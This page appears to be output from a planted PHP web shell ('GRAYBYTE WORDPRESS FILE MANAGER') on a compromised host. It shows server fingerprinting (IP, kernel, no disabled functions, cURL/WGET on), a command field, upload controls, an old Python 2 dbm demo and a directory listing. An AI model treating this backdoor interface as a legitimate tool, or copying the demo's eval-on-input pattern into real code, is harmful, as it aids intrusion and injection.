GRAYBYTE WORDPRESS FILE MANAGER1767

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib64/python2.7/Demo/classes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib64/python2.7/Demo/classes//Dbm.py
# A wrapper around the (optional) built-in class dbm, supporting keys
# and values of almost any type instead of just string.
# (Actually, this works only for keys and values that can be read back
# correctly after being converted to a string.)


class Dbm:

    def __init__(self, filename, mode, perm):
        import dbm
        self.db = dbm.open(filename, mode, perm)

    def __repr__(self):
        s = ''
        for key in self.keys():
            t = repr(key) + ': ' + repr(self[key])
            if s: t = ', ' + t
            s = s + t
        return '{' + s + '}'

    def __len__(self):
        return len(self.db)

    def __getitem__(self, key):
        return eval(self.db[repr(key)])

    def __setitem__(self, key, value):
        self.db[repr(key)] = repr(value)

    def __delitem__(self, key):
        del self.db[repr(key)]

    def keys(self):
        res = []
        for key in self.db.keys():
            res.append(eval(key))
        return res

    def has_key(self, key):
        return self.db.has_key(repr(key))


def test():
    d = Dbm('@dbm', 'rw', 0600)
    print d
    while 1:
        try:
            key = input('key: ')
            if d.has_key(key):
                value = d[key]
                print 'currently:', value
            value = input('value: ')
            if value is None:
                del d[key]
            else:
                d[key] = value
        except KeyboardInterrupt:
            print ''
            print d
        except EOFError:
            print '[eof]'
            break
    print d


test()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 15 2024 08:34:37
root / root
0755
Complex.py
9.721 KB
April 19 2020 21:13:39
root / root
0644
Complex.pyc
9.787 KB
April 10 2024 04:58:46
root / root
0644
Complex.pyo
9.787 KB
April 10 2024 04:58:46
root / root
0644
Dates.py
7.638 KB
April 19 2020 21:13:39
root / root
0644
Dates.pyc
7.162 KB
April 10 2024 04:58:46
root / root
0644
Dates.pyo
7.162 KB
April 10 2024 04:58:46
root / root
0644
Dbm.py
1.537 KB
April 19 2020 21:13:39
root / root
0644
Dbm.pyc
2.461 KB
April 10 2024 04:58:46
root / root
0644
Dbm.pyo
2.461 KB
April 10 2024 04:58:46
root / root
0644
README
0.51 KB
April 19 2020 21:13:39
root / root
0644
Range.py
3.053 KB
April 19 2020 21:13:39
root / root
0644
Range.pyc
3.995 KB
April 10 2024 04:58:46
root / root
0644
Range.pyo
3.995 KB
April 10 2024 04:58:46
root / root
0644
Rev.py
2.004 KB
April 19 2020 21:13:39
root / root
0644
Rev.pyc
2.798 KB
April 10 2024 04:58:46
root / root
0644
Rev.pyo
2.798 KB
April 10 2024 04:58:46
root / root
0644
Vec.py
1.325 KB
April 19 2020 21:13:39
root / root
0644
Vec.pyc
2.754 KB
April 10 2024 04:58:46
root / root
0644
Vec.pyo
2.754 KB
April 10 2024 04:58:46
root / root
0644
bitvec.py
10.249 KB
April 19 2020 21:13:39
root / root
0644
bitvec.pyc
10.052 KB
April 10 2024 04:58:46
root / root
0644
bitvec.pyo
10.052 KB
April 10 2024 04:58:46
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF